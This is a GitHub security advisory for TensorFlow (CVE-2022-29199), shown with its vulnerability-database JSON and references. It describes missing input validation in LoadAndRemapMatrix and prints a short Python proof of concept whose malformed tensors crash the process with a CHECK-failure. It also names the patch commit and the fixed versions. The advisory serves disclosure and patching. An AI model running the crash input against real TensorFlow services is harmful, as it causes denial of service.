GHSA-P9RC-RMR5-529J
Vulnerability from github – Published: 2022-05-24 22:09 – Updated: 2022-05-24 22:09
VLAI?
Summary
Missing validation causes denial of service via `LoadAndRemapMatrix`
Details
Impact
The implementation of tf.raw_ops.LoadAndRemapMatrix does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:
import tensorflow as tf
ckpt_path = tf.constant(
"/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
old_tensor_name = tf.constant(
"/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
row_remapping = tf.constant(0, shape=[], dtype=tf.int64)
col_remapping = tf.constant(3, shape=[3], dtype=tf.int64)
initializing_values = tf.constant([], shape=[0, 1], dtype=tf.float32)
tf.raw_ops.LoadAndRemapMatrix(
ckpt_path=ckpt_path,
old_tensor_name=old_tensor_name,
row_remapping=row_remapping,
col_remapping=col_remapping,
initializing_values=initializing_values,
num_rows=1,
num_cols=1)
The code assumes initializing_values is a vector but there is no validation for this before accessing its value:
OP_REQUIRES_OK(context, context->input("row_remapping", &row_remapping_t));
const auto row_remapping = row_remapping_t->vec<int64_t>();
Patches
We have patched the issue in GitHub commit 3150642acbbe254e3c3c5d2232143fa591855ac9.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
Severity ?
5.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.4"
}
],
"type": "ECOSYSTEM"
}
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"package": {
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"ecosystem": "PyPI",
"name": "tensorflow"
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"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
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"introduced": "0"
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}
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"name": "tensorflow-cpu"
},
"ranges": [
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{
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{
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"name": "tensorflow-gpu"
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"ranges": [
{
"events": [
{
"introduced": "0"
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"fixed": "2.6.4"
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],
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},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
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"ranges": [
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"events": [
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"introduced": "2.7.0"
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},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-29199"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-24T22:09:03Z",
"nvd_published_at": "2022-05-20T22:16:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe implementation of [`tf.raw_ops.LoadAndRemapMatrix`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/load_and_remap_matrix_op.cc#L70-L98) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack:\n\n```python\nimport tensorflow as tf\n\nckpt_path = tf.constant(\n \"/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0\", shape=[], dtype=tf.string)\nold_tensor_name = tf.constant(\n \"/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0\", shape=[], dtype=tf.string)\n\nrow_remapping = tf.constant(0, shape=[], dtype=tf.int64)\ncol_remapping = tf.constant(3, shape=[3], dtype=tf.int64)\ninitializing_values = tf.constant([], shape=[0, 1], dtype=tf.float32)\n\ntf.raw_ops.LoadAndRemapMatrix(\n ckpt_path=ckpt_path,\n old_tensor_name=old_tensor_name,\n row_remapping=row_remapping,\n col_remapping=col_remapping,\n initializing_values=initializing_values,\n num_rows=1,\n num_cols=1)\n```\n\nThe code assumes `initializing_values` is a vector but there is no validation for this before accessing its value:\n\n```cc\nOP_REQUIRES_OK(context, context-\u003einput(\"row_remapping\", \u0026row_remapping_t));\nconst auto row_remapping = row_remapping_t-\u003evec\u003cint64_t\u003e();\n```\n\n### Patches\nWe have patched the issue in GitHub commit [3150642acbbe254e3c3c5d2232143fa591855ac9](https://github.com/tensorflow/tensorflow/commit/3150642acbbe254e3c3c5d2232143fa591855ac9).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.",
"id": "GHSA-p9rc-rmr5-529j",
"modified": "2022-05-24T22:09:03Z",
"published": "2022-05-24T22:09:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p9rc-rmr5-529j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29199"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/3150642acbbe254e3c3c5d2232143fa591855ac9"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/load_and_remap_matrix_op.cc#L70-L98"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Missing validation causes denial of service via `LoadAndRemapMatrix`"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
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- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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